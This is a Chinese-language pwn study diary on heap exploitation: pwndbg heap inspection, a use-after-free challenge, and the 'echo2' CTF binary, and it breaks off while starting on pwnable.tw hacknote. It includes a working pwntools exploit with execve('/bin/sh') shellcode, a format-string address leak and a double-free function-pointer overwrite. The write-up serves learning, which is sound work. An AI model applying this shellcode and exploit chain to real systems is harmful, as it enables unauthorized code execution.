Pwn学习日记-4
堆
太复杂了,我操
就听在那说,也没有构成完整的体系。还是自己找资料吧
第10集不用看了,直接看陈老师的:https://www.yuque.com/hxfqg9/bin/nvrgrs
实际上堆先学的是:malloc内存管理
推荐阅读:malloc内存管理总结
鸡老师的:malloc源码分析夯爆了
大致有了个雏形,但是还是混乱。看了張元的视频,重新整理一下,讲得很不错,ppt和视频我都上传到B站了。后面由于时间问题很多也省略了。
堆调试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ cat heap.c
#include<stdio.h>
#include<stdlib.h>
int main(){
void *p1, *p2;
p1 = malloc(0x30);
p2 = malloc(0x30);
free(p1);
free(p2);
return 0;
}
❯ gcc -m32 -g heap.c -o heap_32
执行完两个malloc后,看堆:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
Allocated chunk | PREV_INUSE
Addr: 0x5655a008
Size: 0x190 (with flag bits: 0x191)
Allocated chunk | PREV_INUSE
Addr: 0x5655a198
Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE
Addr: 0x5655a1d8
Size: 0x40 (with flag bits: 0x41)
Top chunk | PREV_INUSE
Addr: 0x5655a218
Size: 0x21de8 (with flag bits: 0x21de9)
可以看到第一个Allocated chunk是系统初始化的chunk,p默认是1。
第二、三个chunk是我们创建的,pwndbg为了方便调试,这里显示的是header的地址,其理论空间为:0x30(手动创建的空间) + 0x4(size) + 0x4(prev_size)=0x38,由于16字节对齐,所以向上取整,是0x40空间,加上flag是0x41
Q:1是存在size末尾的,为什么算到总共的空间中?
A:由于对齐,所以空间只能是16字节倍数,那个1实际上是用来标记p的,堆管理器在读取大小的时候会将这个1抹去。
看一下p1的chunk空间:
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/20x 0x5655a198
0x5655a198: 0x00000000 0x00000041 0x00000000 0x00000000
0x5655a1a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1d8: 0x00000000 0x00000041 0x00000000 0x00000000
pwndbg> x/20x p1
0x5655a1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1d0: 0x00000000 0x00000000 0x00000000 0x00000041
0x5655a1e0: 0x00000000 0x00000000 0x00000000 0x00000000
98到c8都是p1 chunk,d8刚好是p2 chunk的地址。可以知晓是连续的,上面也能看出代码里p1地址是userdata的起始地址,pwndbg显示的是header起始地址。
free后:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5655a008
Size: 0x190 (with flag bits: 0x191)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5655a198
Size: 0x40 (with flag bits: 0x41)
fd: 0x5655a
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5655a1d8
Size: 0x40 (with flag bits: 0x41)
fd: 0x5650c4fa
Top chunk | PREV_INUSE
Addr: 0x5655a218
Size: 0x21de8 (with flag bits: 0x21de9)
pwndbg> x/20x 0x5655a198
0x5655a198: 0x00000000 0x00000041 0x0005655a 0xf3fe8505
0x5655a1a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x5655a1d8: 0x00000000 0x00000041 0x5650c4fa 0xf3fe8505
可以看到p1的chunk被放到了tcache bins里面,而且多了fd的值,在第一行的第三个单元,也就是之前的用户空间。
这里超纲了,还没学tcache,而且这里有指针保护,fd是运算过的,第四个单元是key字段貌似是tcache的地址。
如果是老版本没有tcache,这里应该显示fastbins。
p2的chunk 里面的fd也是运算的,老版本应该是p1的地址
fd、bk是free后才有,把userdata前几个字节拿来保存,形成链表,像 tcache 和 fastbin 这种单向链表,通常只有 fd,而unsort bins都有,它是双向循环链表。
张元讲得真好
UAF
1
2
3
4
5
6
7
8
9
10
pwndbg> checksec
File: /home/pwn/Desktop/NTU-Computer-Security/week3/uaf/share/uaf
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Stripped: No
伪代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v5; // [rsp+8h] [rbp-18h]
unsigned int nbytes; // [rsp+Ch] [rbp-14h]
void (**nbytes_4)(void); // [rsp+10h] [rbp-10h]
void *buf; // [rsp+18h] [rbp-8h]
init(argc, argv, envp);
nbytes_4 = malloc(0x10u);
*nbytes_4 = welcome_func;
nbytes_4[1] = bye_func;
(*nbytes_4)();
free(nbytes_4);
v5 = 3;
while ( v5-- )
{
printf("Size of your message: ");
nbytes = read_int();
buf = malloc(nbytes);
printf("Message: ");
read(0, buf, nbytes);
printf("Saved message: %s\n", buf);
free(buf);
}
nbytes_4[1]();
return 0;
}
nbytes_4开辟了16字节空间,定义了俩函数。ida里面点中nbytes_4,发现while里面没有高亮,只有倒数第二行有,漏洞很明显,倒数第二行,调用了free过的函数。
他while跑完就会崩:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ ./uaf
Hello ~~~
Size of your message: 100
Message: KKKKKKKKQQQQQQQQ
Saved message: KKKKKKKKQQQQQQQQ
Size of your message: 100
Message: qwert
Saved message: qwert
Size of your message: 100
Message: qwert
Saved message: qwert
zsh: segmentation fault (core dumped) ./uaf
根据first fit原理,我让它开辟一个16字节的空间,它都会使用nbytes_4free 掉的空间。16是0x10,加上header已经是0x20,这已经刚刚好是16倍数了,精确使用16即可。
打印我输入的message后,会leak之前的bye_function地址,然后求出base地址,计算backdoor地址。
由于老师用的ubuntu 18,我是22,很多时候由于指针加密和tcache搞得很麻烦。不过原理是相通的
下面两道题目是星盟那个课的说实话,没太听懂,原理我知道,但是自己做不出来,总是在某些细节写不出来。
打算复习一下栈溢出先。
fmtstr_uaf
1
2
3
4
5
6
7
8
9
10
11
❯ checksec echo2
[*] '/home/pwn/Desktop/pwn_learning/Exercises/fmtstr_uaf/echo2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
运行了一下,4个选项,1:不支持,2和3都是打印我输入的名字。4是问我要不要退出,第一次我写了n,取消退出。再次按4触发doublefree
ida:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // 定义一个指针
unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
_QWORD v6[4]; // v6大小为4 * 8 = 32字节
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stdin, nullptr, 1, 0);
o = malloc(0x28u); //开辟40字节空间,5字长
*(o + 3) = greetings; //o[3]=greetings
*(o + 4) = byebye; //o[4]=byebye
printf("hey, what's your name? : ");
__isoc99_scanf("%24s", v6); // 往 v6 这块内存写入 最多 24 字节字符串 + '\0'
v3 = o; // 把o赋给v3,v3和o指向同一块chunk
*o = v6[0]; // 第一个Qword给o[0],后面以此类推
v3[1] = v6[1];
v3[2] = v6[2];
id = v6[0]; //再给id一次
getchar(); //吃掉缓冲区里剩的换行符,防止影响后面输入输出
func[0] = echo1; // 把函数名存在数组里
qword_602088 = echo2; //实际上是func[1],由于IDA没识别出结构,这里根据每次+8推导出来的,双击func看地址
qword_602090 = echo3;
for ( i = 0; i != 121; i = getchar() ) // 按r,121是'y'的ASCII,getchar是每轮循环结束读取一个字符
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ");
__isoc99_scanf("%d", &i); //输入i
getchar(); //清除最后的换行符
if ( i > 3 )
break;
(func[i - 1])(); //不大于3的话,调用对应函数。
}
if ( i == 4 ) //4的话跳出循环
break;
puts("invalid menu");
}
cleanup(); //直接清理
printf("Are you sure you want to exit? (y/n)"); //询问是否退出
}
puts("bye");
return 0;
}
可以看到,选项4执行了break跳出循环,然后执行cleanup,但是此时我并没有开始选择是否退出,他就cleanup了,选择否后,再次按4,又进行了一次cleanup,所以double free
echo2:
1
2
3
4
5
6
7
8
9
10
__int64 echo2()
{
char format[32]; // [rsp+0h] [rbp-20h] BYREF
(*(o + 3))(o); // o[3](o) , 调用greetings函数
get_input(format, 32); // 往 format 里读最多 32 字节
printf(format); // 格式化字符串漏洞
(*(o + 4))(o); // o[4](o) , 调用 byebye 函数
return 0;
}
echo3:
1
2
3
4
5
6
7
8
9
10
11
12
__int64 echo3()
{
char *s; // [rsp+8h] [rbp-8h]
(*(o + 3))(o); // greetings(o)
s = malloc(0x20u); // 分配 32 字节堆块
get_input(s, 32); // 读入32字节内容到s
puts(s); // 打印出来
free(s); // 释放s
(*(o + 4))(o); // byebye(o)
return 0;
}
cleanup:
void cleanup()
{
free(o); // 释放o堆块
}
有点思路了,现释放o,再用s创建一下占用o的空间,再格式化字符串漏洞写数据到某个位置。
echo3有个UAF,可执行自定义函数,但是远程肯定有ASLR,所以用echo2的fmtstr漏洞泄露地址。
o的空间是0x28,在cleanup后被free。echo3里开辟s的空间是0x20,根据first fit原理,s用o的空间,0x20是3字长,所以会用o的前四字长,而o[3]是greeting,这里改写s的之后,即使s被释放,但不影响o调用数据。o在哪里调用呢?还是echo3的第一行,o[3](o)
exp要删去最后的hello:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
p=process("./echo2")
elf=ELF("./echo2")
p.recvuntil("hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntil(b"> ")
p.sendline(b"2")
payload=b"%10$p"+b"A"*3
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")
p.recvuntil(b"> ")
p.sendline(b"3")
# p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()
pwnable.tw hacknote(heap1)
1
2
3
4
5
6
7
8
❯ checksec hacknote
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwnable.tw hacknote/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida,已重命名变量:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __noreturn main()
{
int index; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stdin, nullptr, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
index = atoi(buf);
if ( index != 2 )
break;
delete();
}
if ( index > 2 )
{
if ( index == 3 )
{
print();
}
else
{
if ( index == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( index != 1 )
goto LABEL_13;
add();
}
}
}
main没什么好说的,主要在每个分支函数。